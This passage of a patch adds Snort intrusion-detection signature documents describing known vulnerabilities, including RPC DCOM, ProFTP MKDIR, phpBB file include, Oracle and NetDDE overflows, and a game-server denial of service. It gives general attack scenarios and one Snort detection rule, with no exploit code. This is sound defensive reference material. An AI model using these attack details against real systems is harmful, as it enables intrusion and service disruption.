+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1973.txt
+++ snort-2.8.5.2/doc/signatures/1973.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1973
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow vulnerability associated with ProFTP FTP server MKDIR command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of arbitrary commands with privileges of the process running the ProFTP server. 
+
+--
+Detailed Information:
+A vulnerability exists with the MKDIR command that can cause a buffer overflow and permit the execution of arbitrary commands with the privileges of the process running the Pr oFTP server.  The buffer overflow can be caused by supplying an argument of greater than 255 characters designating the new directory name.  
+--
+Affected Systems:
+Hosts running ProFTP 1.2.0pre4 
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the MKDIR command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0991
+
+Bugtraq:
+http://www.securityfocus.com/bid/612
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000422.txt
+++ snort-2.8.5.2/doc/signatures/100000422.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000422
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpBB" application running on a webserver. Access to the file "template.php" using a remote file being passed as the "page" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "page" parameter in the "template.php" script used by the "phpBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpBB
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2914.txt
+++ snort-2.8.5.2/doc/signatures/2914.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2914
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure set_local_flavor
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/404.txt
+++ snort-2.8.5.2/doc/signatures/404.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+404
+
+--
+
+Summary:
+This event is generated when An ICMP Protocol Unreachable datagram is detected on the network.  
+
+--
+
+Impact:
+This could be an indication of improperly configured routing equipment or network host.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Routers will generate this message when the transport protocol designated in the datagram is not supported in the transport layer of the final destination.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3410.txt
+++ snort-2.8.5.2/doc/signatures/3410.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3410
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000104.txt
+++ snort-2.8.5.2/doc/signatures/100000104.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+100000104
+
+-- 
+Summary: 
+This event is generated when an empty UDP packet is sent to port 27777, where 
+Amp II 3D game servers typically listen.
+
+-- 
+
+Impact: 
+After receiving such a packet, the server will fall into an infinite loop, 
+potentially consuming all resources on the host system. The administrator will 
+need to restart the game server, and possibly the host system.
+
+--
+Detailed Information:
+Amp II 3D servers listen to UDP port 27777 for commands. Upon receiving an 
+empty UDP packet to that port, the server falls into an infinite loop, possibly 
+consuming all resources on the host system. The administrator must restart the 
+game server and/or the host system.
+
+--
+Affected Systems:
+Amp II 3D Game Engine
+Amp Gore: Ultimate Soldier 1.50
+
+--
+
+Attack Scenarios: 
+A script that generates empty UDP packets can be used to perform this attack.
+
+-- 
+
+Ease of Attack: 
+Simple; public exploits exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+No known patches or workarounds exist. System administrators may be able to 
+reject these packets at their firewall, depending upon the abilities of the 
+firewall system they use.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2651.txt
+++ snort-2.8.5.2/doc/signatures/2651.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2651
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases have a built-in functions NUMTOYMINTERVAL and
+NUMTODSINTERVAL that are used to convert a number to an interval
+year to month or interval day to second literal.
+
+These functions contain a programming error that may allow an
+attacker to execute a buffer overflow attack.
+
+This overflow is triggered by a long string in the second parameter
+of the function.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string as a value for this command.
+The result could permit the attacker to gain escalated privileges and
+run code of their choosing. This attack requires an attacker to logon
+to the database with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/9587
+
+Other:
+http://www.nextgenss.com/advisories/ora_numtodsinterval.txt
+http://www.nextgenss.com/advisories/ora_numtoyminterval.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/397.txt
+++ snort-2.8.5.2/doc/signatures/397.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+397
+
+--
+
+Summary:
+This event is generated when An ICMP Host Precedence Violation is sent by the first hop router to a host to indicate that a requested precedence is not permitted for the particular combination of source and destination host, network destination, upper layer protocol, or source/destination port.
+
+--
+
+Impact:
+Routers will generate this message when the requested precedent is not permitted to transverse the network.  This could be an indication of an improperly configured routing device or a improperly configured host on the network.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2463.txt
+++ snort-2.8.5.2/doc/signatures/2463.txt
@@ -0,0 +1,70 @@
+Rule:
+alert ip any any -> any any (msg:"EXPLOIT IGMP IGAP message
+overflow attempt"; ip_proto:2; byte_test:1,>,63,0; byte_test:1,<,67,0;
+byte_test:1,>,64,13; reference:cve,CAN-2004-0176; reference:bugtraq,9952;
+classtype:attempted-admin; sid:2463; rev:1;)
+
+--
+Sid:
+2463
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Ethereal decode of the Internet Group membership Authentication 
+Protocol (IGAP).
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code as root or
+LOCAL_SYSTEM privilege on a vulnerable host.
+
+--
+Detailed Information:
+There is a vulnerability associated with particular versions of Ethereal that
+may cause a buffer overflow when a malformed IGAP packet is decoded using Ethereal
+or tethereal.  This may permit the execution of arbitrary code with root or 
+LOCAL_SYSTEM privilege.  The buffer overflow occurs when a larger than expected
+Message Size value is discovered in the IGAP payload.
+
+--
+Affected Systems:
+Any host running Ethereal/tethereal versions 0.10.0 - 0.10.2. 
+
+--
+Attack Scenarios:
+An attacker can create and send a malformed IGAP packet, and if decoded by
+a vulnerable version of Ethereal/tethereal, can cause a buffer overflow and the 
+subsequent execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Update to version 0.10.3 of Ethereal.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0176
+
+Bugtraq:
+http://www.securityfocus.com/bid/9952:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/564.txt
+++ snort-2.8.5.2/doc/signatures/564.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+564
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/878.txt
+++ snort-2.8.5.2/doc/signatures/878.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+878
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1999.txt
+++ snort-2.8.5.2/doc/signatures/1999.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1999
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3289.txt
+++ snort-2.8.5.2/doc/signatures/3289.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3289
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2306.txt
+++ snort-2.8.5.2/doc/signatures/2306.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Gallery running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to include script when
+accessing the file index.php for the PHP application Gallery. This
+application fails to properly check the source of an included file in
+the script index.php. As a result an attacker is presented with the
+opportunity to execute code of their choosing with the privileges of the
+user running the web server.
+
+--
+Affected Systems:
+	All systems running the PHP application Calerndar.
+
+--
+Attack Scenarios:
+An attacker can include code of their choosing by supplying a URI to
+their script as a parameter to the HTTP GET request.
+
+--
+Ease of Attack:
+Simple. No exploit required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3458.txt
+++ snort-2.8.5.2/doc/signatures/3458.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+3458
+
+--
+Summary:
+This event is generated when an attempt is made to exploit
+a buffer overflow associated with the Arkeia Client Backup
+server.
+
+--
+Impact:
+A successful attack may cause a buffer overflow and the
+subsequent execution of arbitrary code at the privilege
+level of the vulnerable service.
+
+--
+Detailed Information:
+A vulnerability exists in the Arkeia Client Backup server
+software for a type 84 request. This may cause a buffer
+overflow and the subsequent execution of arbitrary code
+on a vulnerable server. The vulnerability is caused by
+an overly long message length.
+
+--
+Affected Systems:
+	Arkeia version 5.3 and prior.
+
+--
+Attack Scenarios:
+An attacker craft a malicious type 84 request and send
+it to a vulnerable server.
+
+--
+Ease of Attack:
+Simple.  Exploits are publicly available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+There can be multiple messages in one transfer. The event is generated
+on the first message only.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Metasploit:
+http://metasploit.com/research/arkeia_agent
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2869.txt
+++ snort-2.8.5.2/doc/signatures/2869.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2869
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_char
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3205.txt
+++ snort-2.8.5.2/doc/signatures/3205.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3205
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2970.txt
+++ snort-2.8.5.2/doc/signatures/2970.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2970
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3275.txt
+++ snort-2.8.5.2/doc/signatures/3275.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3275
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1832.txt
+++ snort-2.8.5.2/doc/signatures/1832.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1832
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown 
+external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow 
+users to transfer files directly between hosts. This can allow malicious
+users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain
+unauthorized access to a host. This events indicates that an attempt has
+been made to add a user to the contact list of Mirabilis' ICQ client via
+a specially crafted URI on a website.
+
+Certain versions of Mirabilis' ICQ client do not require user 
+intervention before adding another ICQ user to the contact list. It is 
+possible for a client to be added to the contact list via a specially 
+crafted URI without the user's knowledge.
+
+--
+Attack Scenarios:
+An attacker might utilize this vulnerability in the ICQ client to gain 
+access to a host, then upload a Trojan Horse program to gain control of 
+that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or 
+implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
